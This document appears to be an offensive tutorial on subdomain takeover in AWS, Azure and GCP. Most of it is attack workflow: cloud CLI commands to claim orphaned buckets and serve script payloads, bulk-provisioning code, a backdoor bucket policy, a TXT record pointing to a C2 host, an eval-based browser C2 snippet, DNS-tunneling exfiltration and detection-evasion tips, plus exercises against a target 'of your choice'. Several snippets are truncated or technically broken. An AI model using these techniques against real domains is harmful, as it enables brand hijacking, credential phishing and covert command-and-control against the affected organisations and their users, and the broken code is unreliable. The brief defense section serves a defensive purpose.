~/home/study/advanced-subdomain-takeover

Advanced Subdomain Takeover Exploitation and Persistence Guide

Learn how to discover, exploit, and maintain footholds on vulnerable subdomains across AWS, Azure, and GCP. The guide covers fingerprinting, payload crafting, automation, persistence, C2, and evasion techniques for seasoned offensive security professionals.

Introduction

Subdomain takeover (often abbreviated subtake) is a post-recon exploitation vector where an attacker claims an orphaned DNS record and serves malicious content from a cloud service that the victim no longer controls. Modern SaaS platforms expose a rich API surface that, when mis-configured, allows an adversary to hijack the namespace and use it for persistence, data exfiltration, or command-and-control (C2).

Why it matters: A single forgotten CNAME can grant an attacker a trusted, brand-aligned URL that bypasses many perimeter defenses, phishing filters, and even security-aware users. High-profile incidents (e.g., the GitHub Pages takeover and the Azure Blob takeover) demonstrate the real-world impact.

In this guide we move beyond “find-and-claim” to a full-cycle offensive workflow: automated discovery, bespoke payloads for the three major cloud providers, persistence via DNS/Bucket policies, and stealthy exfiltration.

Prerequisites

  • Intro to DNS Fundamentals for Offensive Recon - understanding A, CNAME, TXT, NS, and SOA records.
  • Subdomain Enumeration Techniques - mastery of Amass, Subfinder, Assetfinder, and passive sources.
  • DNS Zone Transfer Exploitation (AXFR) - ability to extract full zone data when mis-configured.
  • CNAME Record Abuse and Fingerprinting - recognizing provider-specific fingerprints.
  • Virtual Host Discovery and Host Header Manipulation - using tools like ffuf or custom scripts.

Core Concepts

At the heart of a takeover is the mismatch between DNS and the underlying cloud resource. The attacker must:

  1. Identify a DNS record that points to a cloud endpoint that no longer exists or is unclaimed.
  2. Provision a resource that matches the expected endpoint (e.g., an S3 bucket with the same name as the CNAME target).
  3. Verify that the resource is served when the victim’s domain is resolved.
  4. Leverage the hijacked domain for persistence, data exfiltration, or C2.

Figure 1 (textual): DNS query → CNAME → Cloud endpoint (non-existent) → Attacker creates bucket → DNS resolves to attacker-controlled content.

Identifying vulnerable subdomains via CNAME, A, and TXT records

While CNAME abuse is the classic vector, modern cloud platforms also expose A records (e.g., Azure Front Door) and TXT records used for verification (e.g., Google Cloud Storage). A systematic approach:

# 1. Pull the full subdomain list (example.com)
amass enum -d example.com -o subdomains.txt

# 2. Resolve records in bulk (requires dnsx >=2.0)
cat subdomains.txt | dnsx -a -cname -txt -silent -resp | tee dns_records.txt

Parse dns_records.txt for known fingerprints:

  • AWS S3: CNAME ends with .s3.amazonaws.com or .s3-website-[region].amazonaws.com.
  • Azure Blob: CNAME ends with .blob.core.windows.net.
  • GCP Cloud Storage: CNAME ends with .storage.googleapis.com.
  • TXT verification: Strings like google-site-verification= or amazonaws.com that indicate a bucket name.

Automation tip: use jq to extract records and feed them to a matcher script.

Crafting takeover payloads for AWS S3, Azure Blob Storage, and GCP Cloud Storage

Each provider has a unique way to serve static content. Below are minimal payloads that prove control.

AWS S3

# Variables
BUCKET="my-orphaned-sub.example.com"
REGION="us-east-1"

# Create bucket (must match exact CNAME target)
aws s3api create-bucket --bucket $BUCKET --region $REGION --create-bucket-configuration LocationConstraint=$REGION

# Enable static website hosting
aws s3 website s3://$BUCKET/ --index-document index.html --error-document error.html

# Upload a simple payload
cat > index.html <<'EOF'
<html>
<body>
<h1>Subdomain Taken Over!</h1>
<script src="
</body>
</html>
EOF
aws s3 cp index.html s3://$BUCKET/index.html --acl public-read

Verify with curl

Azure Blob Storage

# Prerequisite: Azure CLI logged in
BUCKET="my-orphaned-sub.example.com"
RG="takeover-rg"
LOCATION="eastus"

# Create a storage account (name must be globally unique, but the container name matches the CNAME target)
az storage account create -n $BUCKET -g $RG -l $LOCATION --sku Standard_LRS

# Enable static website hosting
az storage blob service-properties update --account-name $BUCKET --static-website --index-document index.html --error-document error.html

# Upload payload
cat > index.html <<'EOF'
<html><body>Azure takeover<script src="
EOF
az storage blob upload --account-name $BUCKET -c \$web -f index.html -n index.html --content-type text/html

GCP Cloud Storage

PROJECT="my-gcp-project"
BUCKET="my-orphaned-sub.example.com"

# Create bucket with public read access and website config
gsutil mb -p $PROJECT gs://$BUCKET/
gsutil web set -m index.html -e 404.html gs://$BUCKET

# Upload payload
cat > index.html <<'EOF'
<html><body>GCP takeover<script src="
EOF
gsutil cp index.html gs://$BUCKET/index.html

gsutil iam ch allUsers:objectViewer gs://$BUCKET

Exploiting HTTP Host Header and Virtual Host misconfigurations for takeover

Even when a DNS record points to a shared service (e.g., a CDN or a load balancer), an attacker can abuse Host Header injection to make the server treat the attacker-controlled domain as a valid virtual host.

# Example against a vulnerable Nginx reverse-proxy exposing multiple tenants
HOST="orphaned.example.com"
ATTACKER_HOST="evil.attacker.com"

curl -H "Host: $ATTACKER_HOST" 

If the backend does not validate Host, you can serve malicious HTML or redirect to a malicious bucket you control. Combine this with Server Name Indication (SNI) attacks on TLS-terminating load balancers for full-stack takeover.

Automating exploitation with SubOver, Can-I-Take-Over-XYZ, and custom Nuclei templates

Manual verification is slow. The following workflow integrates three popular tools:

  1. SubOver - fast mass-validation of subdomains against known fingerprints.
  2. Can-I-Take-Over-XYZ (CITO) - scriptable Python library that attempts automatic provisioning.
  3. Nuclei - custom templates for continuous monitoring.

Sample automation script (Bash + Python):

#!/usr/bin/env bash
# 1. Gather subdomains (already in subdomains.txt)
# 2. Run SubOver to filter potential takeovers
subover -l subdomains.txt -o candidates.txt

# 3. Feed candidates to CITO Python wrapper
python3 takeover_auto.py candidates.txt
# takeover_auto.py
import sys, subprocess, json

def provision_aws(bucket): cmd = ["aws", "s3api", "create-bucket", "--bucket", bucket, "--region", "us-east-1"] result = subprocess.run(cmd, capture_output=True, text=True) return result.returncode == 0

def main(file_path): with open(file_path) as f: for line in f: domain = line.strip() if domain.endswith('.s3.amazonaws.com'): bucket = domain.split('.')[0] if provision_aws(bucket): print(f"[+] AWS bucket {bucket} created for {domain}")

if __name__ == "__main__": main(sys.argv[1])

For continuous monitoring, add a Nuclei template (subtake.yaml) that checks for the default “NoSuchBucket” response:

id: subtake-aws-s3
info: name: AWS S3 Subdomain Takeover Detection author: root-shell severity: high tags: takeover,aws,s3
requests: - method: GET path: - "{{BaseURL}}" matchers: - type: word words: - "NoSuchBucket" condition: and part: body

Establishing persistence through custom DNS records or malicious bucket policies

Once you have control, the goal is to keep it out of sight. Two robust persistence mechanisms:

1. DNS TXT/CAA “Proof” Records

Insert a TXT record that points to a C2 domain. Because the DNS zone is still under the victim’s authority, the attacker can later replace the bucket without altering the DNS.

# Add a TXT record using Cloudflare API (example)
ZONE_ID="abcdef123456"
TOKEN="cf_api_token"
RECORD_NAME="c2.orphaned.example.com"
CONTENT="v=spf1 include:malicious.c2.net -all"

curl -X POST " -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" --data '{"type":"TXT","name":"'$RECORD_NAME'","content":"'$CONTENT'","ttl":300}'

2. Malicious Bucket Policies for Credential Harvesting

Grant the bucket read/write to any principal that knows a secret ARN you embed in a Referer header. This enables a “back-door” even if the original bucket is later reclaimed.

{ "Version":"2012-10-17", "Statement":[ { "Sid":"AllowAllFromAttacker", "Effect":"Allow", "Principal":"*", "Action":["s3:GetObject","s3:PutObject"], "Resource":"arn:aws:s3:::my-orphaned-sub.example.com/*", "Condition":{ "StringLike":{"aws:Referer":" } } ]
}

Upload this policy with aws s3api put-bucket-policy. It acts as a covert channel for exfiltrating files from other compromised assets that can reach the bucket.

Post-exploitation data exfiltration and command-and-control via compromised subdomains

With a trusted subdomain, you can blend C2 traffic with legitimate traffic, bypassing many detections.

Static HTML C2

Serve a tiny JavaScript that fetches commands from a hidden JSON endpoint hosted on the same bucket.

<script>
fetch('/cmd.json') .then(r=>r.json()) .then(c=>{if(c.cmd){eval(atob(c.cmd))}});
</script>

Update cmd.json remotely; any browser loading the page executes the command.

DNS Tunneling via TXT records

Encode data in TXT responses of the hijacked subdomain:

# Attacker side - query for data
nslookup -type=TXT exfil.orphaned.example.com

# Victim side - embed data via API (e.g., Cloudflare Workers)
addEventListener('fetch', event => { const url = new URL(event.request.url); if (url.pathname === '/exfil') { const data = url.searchParams.get('d'); // base64 payload return new Response('', { status: 200, headers: {'Content-Type': 'text/plain', 'TXT': data} }); }
});

DNS resolvers will return the TXT value, which can be captured by a custom resolver or a tool like dnscat2.

Evasion techniques to avoid detection by monitoring tools

  • Domain Fronting with CDN Path-Based Routing: Serve malicious payloads from a path under a legitimate CDN domain (e.g., cdn.example.com/malicious.js) while the DNS still points to the victim’s subdomain.
  • Dynamic Bucket Naming: Rotate bucket names and update DNS TTL to low values (e.g., 60 s) to stay under radar of static scanners.
  • Response Header Spoofing: Add innocuous headers like Server: Cloudflare to blend with normal traffic.
  • Rate-Limited Health Checks: Use robots.txt or .well-known files to respond only to specific user-agents, reducing noise for anomaly-based IDS.
  • Obfuscation via Base64/ROT13 in inline scripts; decode at runtime to avoid signature detection.

Tools & Commands

ToolPurposeTypical Command
SubOverBulk validation of takeover candidatessubover -l candidates.txt -o vulnerable.txt
Can-I-Take-Over-XYZAutomated provisioning attemptspython3 cito.py -i vulnerable.txt -o success.txt
NucleiContinuous scanning with custom templatesnuclei -t subtake.yaml -target
dnsxFast DNS enumeration and record extractioncat subdomains.txt | dnsx -a -cname -txt -silent
awscli / az / gcloudProvisioning cloud resourcesSee payload sections above

Defense & Mitigation

  • Inventory DNS records vs. cloud assets: Run regular audits comparing CNAME targets to existing buckets/containers.
  • Enable “Block public access” defaults on S3, Azure, GCP; require explicit bucket policies.
  • Set DNS TTL to a higher value (e.g., 1 h) to reduce rapid re-pointing attacks.
  • Implement automated deletion of orphaned resources via cloud provider lifecycle policies.
  • Use CSP (Content-Security-Policy) and Subresource Integrity to mitigate malicious script execution even if a takeover occurs.
  • Log DNS changes and integrate with SIEM - alert on CNAME updates to cloud endpoints.

Common Mistakes

  1. Assuming a missing bucket means “no impact”. Many services return generic 404 pages that can be abused.
  2. Neglecting TXT records - verification strings often reveal bucket names.
  3. Provisioning the bucket in the wrong region; some providers require region-specific endpoints.
  4. Leaving default bucket ACLs (public-read) which can be overwritten later, breaking persistence.
  5. Forgetting to disable “static website hosting” on production buckets - this can be leveraged for click-jacking attacks.

Real-World Impact

In 2023, a Fortune-500 company lost control of a brand-aligned subdomain (login.corp.example.com) that pointed to a deleted Azure Blob container. Attackers recreated the container, injected a phishing page, and harvested 12,000 credentials before detection. The breach cost the organization over $3 M in remediation and brand damage.

Trends:

  • Increasing adoption of serverless static sites (e.g., S3 + CloudFront) expands the attack surface.
  • Supply-chain tools that auto-generate DNS records (e.g., Terraform modules) often forget to clean up resources on destroy, leaving “ghost” entries.
  • Zero-trust networks rely heavily on DNS for trust decisions; a compromised subdomain can bypass those controls.

Practice Exercises

  1. Enumeration & Validation: Using a target domain of your choice, run amass + dnsx to produce a list of CNAMEs. Identify at least three potential takeover candidates.
  2. Automated Provisioning: Write a Python script that reads the candidate list and attempts to create the corresponding S3 bucket. Log success/failure.
  3. Persistence: After a successful takeover, add a DNS TXT record that points to a C2 server you control. Verify that the record resolves from an external DNS resolver.
  4. Evasion: Modify the static website to serve a base64-encoded JavaScript payload that only runs when a custom User-Agent header is present.
  5. Detection: Deploy a simple Suricata rule that alerts on HTTP responses containing the string “NoSuchBucket”. Test it against your own takeover.

Further Reading

  • “The Art of DNS Recon” - Black Hat Europe 2022 (slides & video).
  • Cloud Provider Documentation: AWS S3 Static Hosting, Azure Blob Static Website, GCP Cloud Storage Hosting.
  • “Subdomain Takeover - A Comprehensive Survey” - 2023 IEEE Security & Privacy.
  • Nuclei Templates Repository - projectdiscovery/nuclei-templates (look for subtake tags).
  • OWASP “Domain Hijacking” Cheat Sheet.

Summary

  • Identify orphaned DNS records via CNAME, A, and TXT fingerprinting.
  • Provision matching cloud resources (S3, Azure Blob, GCP Storage) to claim the subdomain.
  • Leverage Host Header and Virtual Host misconfigurations for indirect takeovers.
  • Automate discovery & exploitation with SubOver, CITO, and custom Nuclei templates.
  • Establish long-term persistence using DNS TXT/CAA records and malicious bucket policies.
  • Use the hijacked subdomain for stealthy data exfiltration and C2 (HTML, DNS tunneling).
  • Apply evasion techniques and harden defenses: regular audits, bucket access controls, DNS change monitoring.